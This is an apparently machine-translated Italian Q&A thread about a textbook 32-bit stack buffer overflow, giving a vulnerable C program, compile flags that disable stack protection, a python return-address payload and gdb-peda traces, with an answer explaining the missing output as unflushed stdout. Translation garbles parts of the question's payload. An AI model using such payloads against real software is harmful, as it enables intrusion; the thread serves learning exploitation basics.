L'exploit di overflow del buffer sta portando a Segmentation Fault

0
#include<stdio.h>
void secret(){
  printf("entered secret function");
}
void return_input()
{
  char array[60];
  scanf("%s", array);
  printf("%s\n",array);
}
int main()
{
  return_input();
  return 0;
}

usato questo comando

gcc overflowtest.c -o overflowtest -fno-stack-protector -m32

Quando ho fatto un objdump, ho scoperto che la funzione segreta si trova in 0x0804848b e 68 byte sono allocati all'array, i prossimi 4 byte memorizzano ebp del frame dello stack precedente e il successivo 4 byte l'indirizzo di ritorno

Ho provato a sostituire l'indirizzo di ritorno in questo modo

python -c 'stampa "a" * 72 + "\ x8b \ x84 \ x04 \ x08"' | ./overflowtest

Ma dice aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Errore di segmentazione (core dumped)

    
posta Sathyam Lokare 27.08.2018 - 13:11
fonte

1 risposta

0

Questa è stata una domanda divertente da esplorare.

Ho provato l'exploit e ho ottenuto lo stesso risultato. Ho appena ricevuto SegFault ma mi aspettavo "funzioni segrete inserite" e SegFault.

$ python -c "print 'a' * 68 + 'b' * 4 + '\x8b\x84\x04\x08'" > exploit.txt
$ ./overflowtest < exploit.txt 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb��
Segmentation fault (core dumped)

Ho aperto il programma usando gdb e ho cercato di capire cosa sta succedendo. Ho impostato un punto di interruzione su return_input .

$ gdb -q overflowtest
Reading symbols from overflowtest...(no debugging symbols found)...done.
gdb-peda$ b return_input
Breakpoint 1 at 0x80484aa
gdb-peda$ run < exploit.txt 

Guarda il seguente stato:

[-------------------------------------code-------------------------------------]
   0x80484ca <return_input+38>: add    esp,0x10
   0x80484cd <return_input+41>: nop
   0x80484ce <return_input+42>: leave  
=> 0x80484cf <return_input+43>: ret    
   0x80484d0 <main>:    lea    ecx,[esp+0x4]
   0x80484d4 <main+4>:  and    esp,0xfffffff0
   0x80484d7 <main+7>:  push   DWORD PTR [ecx-0x4]
   0x80484da <main+10>: push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcc7c --> 0x804848b (<secret>:   push   ebp)
0004| 0xffffcc80 --> 0xf7fa7300 --> 0xf7f50447 ("ISO-10646/UCS2/")
0008| 0xffffcc84 --> 0xffffcca0 --> 0x1 
0012| 0xffffcc88 --> 0x0 
0016| 0xffffcc8c --> 0xf7e0d637 (<__libc_start_main+247>:   add    esp,0x10)
0020| 0xffffcc90 --> 0xf7fa7000 --> 0x1b1db0 
0024| 0xffffcc94 --> 0xf7fa7000 --> 0x1b1db0 
0028| 0xffffcc98 --> 0x0 
[------------------------------------------------------------------------------]

Si noti che l'istruzione successiva da eseguire è l'istruzione ret . La parte superiore della pila ha l'indirizzo di segreto . Questo è esattamente quello che volevamo. Quindi, nessun problema fino a qui.

Quello che segue è lo stato gdb-peda subito prima che la funzione segreta printf venga eseguita.

[-------------------------------------code-------------------------------------]
   0x804848e <secret+3>:    sub    esp,0x8
   0x8048491 <secret+6>:    sub    esp,0xc
   0x8048494 <secret+9>:    push   0x8048580
=> 0x8048499 <secret+14>:   call   0x8048340 <printf@plt>
   0x804849e <secret+19>:   add    esp,0x10
   0x80484a1 <secret+22>:   nop
   0x80484a2 <secret+23>:   leave  
   0x80484a3 <secret+24>:   ret
Guessed arguments:
arg[0]: 0x8048580 ("entered secret function")
arg[1]: 0x61616161 ('aaaa')
[------------------------------------stack-------------------------------------]
0000| 0xffffcc64 --> 0x8048580 ("entered secret function")
0004| 0xffffcc68 ('a' <repeats 16 times>, "bbbbbbbb")
0008| 0xffffcc6c ('a' <repeats 12 times>, "bbbbbbbb")
0012| 0xffffcc70 ("aaaaaaaabbbbbbbb")

Ora, printf verrà eseguito. La cima della pila ha l'indirizzo della stringa che deve stampare. Tutto bene fino ad ora.

Ho eseguito printf e controllato l'output di "funzione segreta immessa".

gdb-peda$ ni

Ecco il problema. Anche se printf è stato eseguito, la stringa non è stata stampata sulla console.

Quindi, possiamo concludere che lo sfruttamento è stato fatto correttamente.

Cerchiamo di capire perché printf non ha stampato quella stringa sull'output della console.

printf e molte di queste funzioni di output funzionano nel modo seguente.

  1. Quando viene eseguito printf, il contenuto al suo interno è not stampato direttamente sulla console. Invece, viene memorizzato in un buffer.

    printf("entered secret function") ------------------------> [ OUTPUT_BUFFER ]----------------> console / (Standard Output)
    
  2. Successivamente, il buffer viene svuotato e tutto viene stampato sulla console.

  3. Come spiegato in questa risposta, la il buffer viene svuotato solo quando vengono raggiunte determinate condizioni.

    • Il buffer viene svuotato se è pieno.
    • Viene svuotato se viene rilevata una nuova riga.
    • Viene svuotato se il programma termina.
    • Viene svuotato se forziamo lo scarico usando la funzione fflush .

Tornando alla domanda in corso,

  1. Il printf ("funzione segreta immessa") viene eseguito e la stringa viene inserita in OUTPUT_BUFFER.

  2. Se il overflowtest è terminato normalmente, OUTPUT_BUFFER si sarebbe svuotato. Ma a causa dell'exploit, è stato interrotto a causa di un SegFault. Quindi, il buffer non è stato svuotato. Quindi, non hai visto "la funzione segreta inserita".

La funzione puts non funziona in questo modo. Aggiunge un carattere \ n / newline alla stringa. Quindi, quella stringa è immediatamente visibile sulla console.

Quindi, se vuoi vedere la "funzione segreta immessa", aggiungi un carattere newline ad essa - "inserisci la funzione segreta \ n" o aggiungi un fflush (stdout) dopo printf.

Spero di aver risposto alla tua domanda.

Se qualcosa non è chiaro, si prega di lasciare un commento qui sotto.

    
risposta data 29.12.2018 - 09:21
fonte

Leggi altre domande sui tag